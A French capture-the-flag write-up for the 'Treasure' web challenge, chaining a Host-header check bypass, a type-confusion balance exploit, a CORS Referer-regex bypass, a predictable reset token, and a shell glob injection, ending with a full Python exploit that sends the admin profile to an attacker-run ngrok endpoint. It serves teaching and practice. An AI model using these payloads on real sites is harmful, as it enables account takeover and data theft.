Aller au contenu
  1. Writeups/

PwnMe CTF 2025 (finale): Treasure

2445 mots·12 mins·
Fayred
Auteur
Fayred
Passionné par l’informatique en général et plus particulièrement par la sécurité informatique. Amateur de CTFs et débutant en Bug Bounty, je cherche avant tout à apprendre, m’amuser et partager ce que j’ai appris.
Sommaire

Énoncé
#

Try registering on the “Treasure” website, which is still under construction and try to obtain an item that is normally impossible to obtain.

Author: Fayred

Treasure.zip

Aperçu
#

Pour ce challenge web, voici les fichiers sources fournis:

Afficher l'arborescence
.
├── cert.pem
├── docker-compose.yml
├── Dockerfile
├── entrypoint.sh
├── key.pem
├── main.py
├── requirements.txt
└── src
    ├── admin_data_uploaded
    │   └── bf8fdd545086e4e7.json
    ├── app.py
    ├── backup.sh
    ├── blueprints
    │   ├── api.py
    │   └── render.py
    ├── bot.py
    ├── create_admin.py
    ├── models
    │   ├── inventory.py
    │   ├── reset_token.py
    │   └── user.py
    ├── static
    │   └── img
    │       └── items
    │           ├── Nothing.webp
    │           ├── The Banner of Eternal Whispers.jpeg
    │           ├── The Banner of Lost Souls.jpeg
    │           ├── The Celestial Dominion's Banner.jpeg
    │           ├── The Eternal Flame's Standard.jpeg
    │           └── Village Banner.jpeg
    ├── templates
    │   ├── admin.html
    │   ├── base.html
    │   ├── index.html
    │   ├── inventory.html
    │   ├── login.html
    │   ├── navbar.html
    │   └── register.html
    └── utils.py

9 directories, 31 files

En bref, il s’agit d’une application Flask. Elle propose une connexion et une inscription, mais cette dernière semble limitée à localhost. Une fois connecté, un utilisateur peut ouvrir des coffres et consulter son inventaire. L’administrateur dispose en plus d’une page d’upload et de sauvegarde.

Le flag est retourné lorsqu’un utilisateur non administrateur obtient un item de rareté impossible, comme l’indiquent l’énoncé et api.py.

api.py (L85-L86):

if item['rarity'] == 'impossible' and session.get('role') != 'admin':
    name = os.environ['FLAG']

Résolution
#

La résolution part de la surface d’attaque exposée par l’application. Nous avancerons ensuite étape par étape, chaque résultat ouvrant l’accès à la primitive suivante.

1. Cartographier l’application
#

L’objectif initial est d’identifier les surfaces accessibles et les contrôles qui séparent un utilisateur du fichier de probabilités. L’application initialise une base SQLite, crée un compte administrateur avec un mot de passe aléatoire et enregistre deux blueprints :

app.py:

from flask import Flask
from flask_sqlalchemy import SQLAlchemy
import secrets

app = Flask(__name__)
app.config['SECRET_KEY'] = secrets.token_urlsafe(32)
app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///database.db'
app.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False
app.config['ADMIN_PASSWORD'] = secrets.token_hex(32)
app.config['ADMIN_UPLOAD_FOLDER'] = 'src/admin_data_uploaded'
db = SQLAlchemy(app)

from .blueprints.render import render_bp
from .blueprints.api import api_bp

app.register_blueprint(render_bp, url_prefix='/')
app.register_blueprint(api_bp, url_prefix='/api')

from src.models.user import User
from src.models.inventory import Inventory
from src.models.reset_token import ResetToken
from src.create_admin import create_admin

with app.app_context():
    db.create_all()
    create_admin(username='admin', password=app.config['ADMIN_PASSWORD'])

Dans app.py, les endpoints se répartissent entre les vues de render.py, sous /, et l’API de api.py, sous /api.

Les routes disponibles sont :

  • /
  • /login
  • /register
  • /logout
  • /inventory
  • /admin
  • /api/drop
  • /api/inventory
  • /api/profile
  • /api/backup
  • /api/upload
  • /api/report
  • /api/reset_token
  • /api/change_password

Les décorateurs précisent les frontières d’accès. /login, /register, /api/reset_token et /api/change_password sont réservées aux visiteurs sans session via nologin_required. Parmi elles, /register et /api/reset_token exigent aussi un Host local via localhost_required. Enfin, /admin, /api/backup et /api/upload sont réservées au rôle administrateur avec admin_required ; les routes /, /logout, /inventory, /api/drop, /api/inventory, /api/profile et /api/report demandent simplement une session.

La cartographie fait donc ressortir deux objectifs intermédiaires : obtenir d’abord un compte utilisateur, puis atteindre les fonctions administrateur capables de modifier les données de drop. La première barrière à examiner est localhost_required.

2. Créer un compte à distance
#

L’inscription est décorée par localhost_required(). Pourtant, ce contrôle ne vérifie ni l’adresse source de la connexion ni request.remote_addr : il compare uniquement l’en-tête HTTP Host.

utils.py (L29-L35):

def localhost_required(f):
    @wraps(f)
    def decorated_function(*args, **kwargs):
        if request.headers.get('Host') not in ['127.0.0.1:5000', 'localhost:5000']:
            return f'Forbidden', 403
        return f(*args, **kwargs)
    return decorated_function

Une requête distante est donc acceptée en envoyant le formulaire d’inscription sur POST /register avec Host: 127.0.0.1:5000. Une connexion normale sur POST /login avec les mêmes identifiants renvoie ensuite le cookie session.

Le résultat est une session utilisateur valide. Elle donne accès à /api/drop, mais le solde initial de 20 dollars ne permet pas d’acheter un coffre à 100 dollars : il faut maintenant manipuler le calcul du prix.

3. Transformer un achat en gain d’argent
#

La route /api/drop valide le nombre de coffres avec int(nb), puis utilise pourtant la valeur originale de nb pour mettre à jour le solde :

api.py (L45-L100):

Afficher la route de tirage
@api_bp.route('/drop', methods=['GET', 'POST'])
@login_required
def drop():
    with open(os.environ['DROP_FILENAME'], 'r') as f:
        items = json.load(f).get('items')

    if request.method == 'GET':
        return jsonify({"chest_cost": CHEST_COST, "items": items})

    elif request.method == 'POST':
        user_id = session.get('user_id')
        balance = db.session.query(User).filter_by(id=user_id).first().balance

        data = request.get_json()
        nb = data.get('nb')

        if not nb:
            return jsonify({"error": "Missing number of chests."}), 400

        if int(nb) < 0:
            return jsonify({"error": "Cannot take less than 0."}), 400
        
        if int(nb) > 3:
            return jsonify({"error": "Cannot take more than 3."}), 400
        
        if balance < int(nb) * CHEST_COST:
            return jsonify({"error": "Not enough money."}), 400

        balance -= nb * CHEST_COST

        db.session.query(User).filter_by(id=user_id).update({'balance': balance})
        db.session.commit()

        items_dropped = drop_items(int(nb), items)

        for item in items_dropped:
            inventory_item = db.session.query(Inventory).filter_by(user_id=user_id, item_id=item['id']).first()
            if inventory_item:
                inventory_item.quantity += 1
            else:
                if item['rarity'] == 'impossible' and session.get('role') != 'admin':
                    name = os.environ['FLAG']
                else:
                    name = item['name']

                new_inventory_item = Inventory(
                    user_id=user_id,
                    item_id=item['id'],
                    name=name,
                    rarity=item['rarity'],
                    image=item['image']
                )
                db.session.add(new_inventory_item)
        db.session.commit()
        
        return jsonify({"items": items_dropped})

Avec nb = -0.999, les trois validations voient int(nb) == 0. En revanche, balance -= nb * CHEST_COST calcule bien balance -= -0.999 * 100, soit un crédit de 99,9 dollars. drop_items(int(nb), items) reçoit ensuite 0, donc aucun item n’est encore tiré.

Incohérence de types

Les validations utilisent int(nb), mais le calcul du solde conserve la valeur flottante originale. Le payload -0.999 est donc validé comme 0 tout en créditant presque 100 dollars.

La requête minimale est un POST /api/drop authentifié avec le corps JSON {"nb": -0.999}.

Après ce crédit, le compte utilisateur peut financer le tirage final. Il reste à modifier les probabilités, une opération réservée à l’administrateur.

4. Exfiltrer l’UUID administrateur via CORS
#

Le bot de bot.py visite les URL soumises à /api/report avec une session administrateur. La route /api/profile expose notamment l’UUID du compte courant et applique la configuration CORS suivante :

api.py (L34-41) et (L116-L139):

Afficher le code CORS et du profil
def cors_config(response):
    response.headers['Access-Control-Allow-Origin'] = request.headers.get('Origin', '')

    referer = urllib.parse.unquote(request.headers.get('Referer', ''))
    if re.search('^https?:\\/\\/localhost:5000\\/.*', referer, re.MULTILINE):
        response.headers['Access-Control-Allow-Credentials'] = 'true'

    return response

...

@api_bp.route('/profile', methods=['OPTIONS'])
def options_profile():
    response = make_response('', 204)
    return cors_config(response)

@api_bp.route('/profile', methods=['GET', 'POST'])
@login_required
def profile():
    if request.method == 'GET':
        user_id = session.get('user_id')
        user = db.session.query(User).filter_by(id=user_id).first()

        response = make_response(jsonify({
            'uuid': user.uuid, 
            'role': user.role, 
            'username': user.username, 
            'balance': user.balance,
        }))

        return cors_config(response)
    
    elif request.method == 'POST':
        response = make_response(jsonify({"success": "Profile updated."}))
        return cors_config(response)

L’origine fournie par l’attaquant est réfléchie dans Access-Control-Allow-Origin. La réponse n’autorise toutefois les credentials que si le Referer, après urllib.parse.unquote, correspond à ^https?://localhost:5000/.* avec l’option re.MULTILINE.

Le cookie de session peut être envoyé dans ce contexte cross-site :

app.py (L7-L8):

app.config['SESSION_COOKIE_SAMESITE'] = 'None'
app.config['SESSION_COOKIE_SECURE'] = True

Le JavaScript ne peut pas définir directement Referer. Il peut en revanche demander referrerPolicy: "unsafe-url" afin que l’URL complète de la page attaquante soit transmise. Le script déplace alors l’URL courante vers un chemin contenant %0Ahttp://localhost:5000/. Le serveur décode %0A en saut de ligne ; grâce à re.MULTILINE, ^ peut correspondre au début de cette seconde ligne. Le test accepte donc ce faux fragment localhost et ajoute Access-Control-Allow-Credentials: true.

Bypass dépendant du navigateur

Referrer-Policy: unsafe-url produit le comportement attendu ici avec Chromium. Le résultat n’est pas identique sur tous les navigateurs.

La page soumise au bot via POST /api/report place le saut de ligne dans son chemin avant d’effectuer la lecture authentifiée :

history.pushState(null, '', '%0Ahttp://localhost:5000/');
const response = await fetch('https://localhost:5000/api/profile',
    {referrerPolicy: 'unsafe-url', credentials: 'include'});
const profile = await response.json();

Il ne reste qu’à envoyer profile vers le serveur de l’attaquant.

Le résultat contient uuid, role, username et balance pour l’administrateur. L’UUID est la donnée décisive pour prédire son jeton de réinitialisation.

5. Prendre le contrôle du compte administrateur
#

La génération du jeton ne comporte aucun secret ni aléa : elle calcule le SHA-1 de la concaténation exacte des octets de username et de uuid.

utils.py (L37-L39):

def generate_reset_token(username, uuid):
    reset_token = hashlib.sha1(username.encode() + uuid.encode()).hexdigest()
    return reset_token

Il faut d’abord appeler /api/reset_token pour que le jeton correspondant soit enregistré en base. Cette route est protégée par le même contrôle localhost_required, déjà contourné avec Host. /api/change_password accepte ensuite le jeton prédit et remplace le mot de passe :

api.py (L212-235):

@api_bp.route('/change_password', methods=['POST'])
@nologin_required
def change_password():
    password = request.json.get('password')
    password_confirmation = request.json.get('password_confirmation')
    token = request.json.get('token')

    if password != password_confirmation:
        return jsonify({"error": "Passwords do not match."}), 400

    reset_token = db.session.query(ResetToken).filter_by(token=token).first()

    if not reset_token:
        return jsonify({"error": "Invalid reset token."}), 400 
    
    if reset_token.is_expired():
        return jsonify({"error": "Token has expired."}), 400

    db.session.query(User).filter_by(id=reset_token.user_id).update({
        'password': generate_password_hash(password)
    })
    db.session.commit()

    return jsonify({"success": "Password changed."})

Le modèle fixe l’expiration du jeton à deux heures. Comme /api/change_password ne le supprime pas après utilisation, le même jeton reste réutilisable jusqu’à cette échéance.

L’enchaînement minimal consiste à appeler POST /api/reset_token avec Host: 127.0.0.1:5000 et {"username": "admin"}, puis à calculer SHA1("admin" + uuid). Ce digest devient le champ token envoyé à POST /api/change_password avec password et password_confirmation.

Une connexion avec admin et le nouveau mot de passe fournit désormais une session administrateur. Elle ouvre /api/backup et /api/upload, nécessaires pour cibler le fichier de configuration.

6. Révéler le nom du fichier de drop
#

La route /api/backup insère le paramètre time dans une commande shell. Sa liste noire interdit presque tous les caractères utiles, mais laisse passer les chiffres, $ et ? :

api.py (L141-150):

@api_bp.route('/backup', methods=['POST'])
@admin_required
def backup():
    t = request.json.get('time')
    if re.search(r'[A-Za-z!"#%&\'()*+,-./:;<=>@[\]^_`{|}~ \\]', t):
        return jsonify({"error": "Invalid time."}), 400

    output = os.popen(f'cd src/admin_data_uploaded && timeout {t}s ../backup.sh 2>&1').read()
    
    return jsonify({"output": output})

Au démarrage, entrypoint.sh renomme le fichier fourni en $(openssl rand -hex 8).json : son nom d’exécution est donc inconnu, mais mesure toujours 21 caractères, soit 16 caractères hexadécimaux suivis de .json. Dans la commande construite, ????????????????????? est interprété par le shell comme un motif glob de cette longueur et correspond à ce nom aléatoire. Le $ final se combine avec le s ajouté par le format timeout {t}s : le shell développe donc la variable $s, vide dans cet environnement, ce qui sépare le motif du suffixe. timeout reçoit le nom de fichier développé comme durée et son message d’erreur, redirigé vers la sortie, contient ce nom. Cette primitive ne fournit pas une exécution de commande générale ; elle suffit précisément à divulguer le fichier JSON.

Il suffit d’envoyer, avec la session administrateur, POST /api/backup et le corps {"time": "?????????????????????$"}. Le nom peut être extrait du champ output de la réponse avec le motif [\w-]+\.json.

La session administrateur et le nom exact du fichier permettent maintenant d’écraser la configuration effectivement lue par /api/drop.

7. Remplacer le fichier et obtenir le flag
#

L’endpoint /api/upload écrit un fichier dans src/admin_data_uploaded. Un upload multipart authentifié avec la session administrateur, sous le nom divulgué, remplace donc le fichier de drop par ce contenu :

{"items": [
  {"id": 1337, "rarity": "impossible", "name": "The Celestial Dominion's Banner",
   "drop_rate": 100, "image": "The Celestial Dominion's Banner.jpeg"}
]}

Il faut enfin revenir à la session du compte utilisateur, et non ouvrir le coffre avec la session administrateur. Un tirage coûte 100 dollars, désormais disponibles grâce à l’étape 3. Lorsque cet utilisateur obtient l’item impossible, le code remplace son nom par os.environ['FLAG']; /api/inventory permet alors de le lire.

Avec la session du compte utilisateur, POST /api/drop reçoit {"nb": 1}. Un GET /api/inventory avec cette même session révèle ensuite le flag dans le champ name de l’item dont la rareté vaut impossible.

Exploit complet
#

Le script final assemble les sept primitives démontrées précédemment, de la création du compte jusqu’à la lecture du flag :

Afficher l'exploit complet
# Treasure PoC

# pip install requests flask ngrok
# export your NGROK_AUTHTOKEN before running the script

import requests
import ngrok
from flask import Flask, request
import threading
import time
import hashlib
import re
import io
import warnings
from urllib3.exceptions import InsecureRequestWarning

warnings.simplefilter("ignore", InsecureRequestWarning)

HOST = 'https://172.19.0.2:5000'

username_ato = 'admin'
username = 'ctfplayer'
password = 'ctfplayer'

data = {}
csrf_end_event = threading.Event()

# Step 1: Sign up without being from localhost
def register(username, password):
    requests.post(HOST + '/register', 
        headers={'Host': '127.0.0.1:5000'}, # Bypass localhost_required()
        data={'username': username, 'password': password, 'password_confirmation': password}, 
        verify=False
    )

def login(username, password):
    login_request = requests.post(HOST + '/login',
        data={'username': username, 'password': password},
        allow_redirects=False,
        verify=False
    )
    return login_request.cookies['session']

# Step 2: Business Logic Error to earn money
def earn_money(session):
    requests.post(HOST + '/api/drop', 
        cookies={'session': session}, 
        json={'nb': -0.999},
        verify=False
    )

# Step 3: CSRF via CORS Misconfiguration with referer checker bypass 
def start_csrf_attack(session, url):
    def send_csrf():
        time.sleep(2)
        requests.post(HOST + '/api/report', 
            cookies={'session': session}, 
            json={'url': url + '/csrf'},
            verify=False
        )

    app = Flask(__name__)

    @app.route('/csrf')
    def csrf():
        return f"""
        <script>
            async function csrf(){{
                const response = await fetch("https://localhost:5000/api/profile", {{referrerPolicy: "unsafe-url", "credentials": "include"}});
                const data = await response.json();
                await fetch("{url}/exfiltration", {{
                    method: "POST",
                    headers: {{"Content-Type": "application/json"}},
                    body: JSON.stringify({{"data": data}})
                }});
            }}
            history.pushState(null, '', '%0Ahttp://localhost:5000/');
            csrf();
        </script>
        """
    
    @app.route('/exfiltration', methods=['POST'])
    def exfiltration():
        global data
        data = request.json.get('data')
        csrf_end_event.set()

        return 'Thanks!'

    threading.Thread(target=send_csrf, daemon=True).start()
    app.run(port=1337, debug=False)

# Step 4: Generate reset token via UUID leak by CSRF to ATO admin account
def ato(uuid, username, password):
    requests.post(HOST + '/api/reset_token', 
        headers={'Host': '127.0.0.1:5000'}, # Bypass localhost_required()
        json={"username": username},
        verify=False
    )
    requests.post(HOST + '/api/change_password',
        json={
            "password": password,
            "password_confirmation": password,
            "token": hashlib.sha1(username.encode() + uuid.encode()).hexdigest()
        },
        verify=False
    )

# Step 5: OS Command Injection which lead to json filename leak
def os_command_injection(admin_session):
    backup_req = requests.post(HOST + '/api/backup', 
        cookies={'session': admin_session}, 
        json={"time": "?????????????????????$"},
        verify=False
    )
    filename_leak = re.search(r'[\w-]+\.json', backup_req.json()['output']).group(0)
    return filename_leak

# Step 6: Upload and replace the json file with item rate drop for "impossible" rarity to 100%
def upload_file(admin_session, filename):
    data = """
        {
            "items": [
                {"id": 1337, "rarity": "impossible", "name": "The Celestial Dominion's Banner", "drop_rate": 100, "image": "The Celestial Dominion's Banner.jpeg"}
            ]
        }
        """

    file = io.BytesIO(data.encode('utf-8'))

    requests.post(HOST + '/api/upload', 
        cookies={'session': admin_session},
        files={'file': (filename, file, 'application/json')},
        verify=False
    )

# Step 7: Get the flag
def get_flag(session):
    requests.post(HOST + '/api/drop', 
        cookies={'session': session}, 
        json={'nb': 1},
        verify=False
    )
    inventory_req = requests.get(HOST + '/api/inventory', 
        cookies={'session': session},
        verify=False
    )

    flag = [_ for _ in inventory_req.json() if _['rarity']== 'impossible'][0]['name']
    return flag

if __name__ == '__main__':
    listener = ngrok.forward(1337, authtoken_from_env=True)
    url = listener.url()
    print(f"Ngrok: {url}\n")

    print(f"[+] Sign up with {username}:{password}")
    register(username, password)

    print(f"[+] Login with {username}:{password}")
    session = login(username, password)

    print("[+] Business Logic Error to Earn money")
    earn_money(session)

    print("[+] Start CSRF attack")
    threading.Thread(target=start_csrf_attack, args=(session, url), daemon=True).start()
    if csrf_end_event.wait(60):
        print(f"Data exfiltrate: {data}")

        print("[+] Account Take Over")
        ato(data['uuid'], username_ato, password)

        print(f"[+] Login with {username_ato}:{password}")
        session_ato = login(username_ato, password)

        print("[+] Leak .json filename")
        filename_leak = os_command_injection(session_ato)

        print(f"[+] Replace '{filename_leak}' to get 100% of chance")
        upload_file(session_ato, filename_leak)

        print(f"[+] Get the flag from '{username}'")
        flag = get_flag(session)
        print(f"\nFlag: {flag}")

Flag: PWNME{56837e80d608e85bb886f2b4b66a47c9}

Conclusion
#

Treasure illustre surtout la composition de frontières de confiance fragiles : Host ouvre les routes locales, l’incohérence de types finance le tirage, CORS et Referer divulguent l’UUID, le jeton prévisible livre le compte administrateur, puis la commande shell révèle le fichier à remplacer. Chaque primitive débloque la suivante jusqu’au drop garanti. Le tirage final doit rester effectué depuis le compte non administrateur, seul contexte où le nom de l’item devient le flag.

Références
#

Articles connexes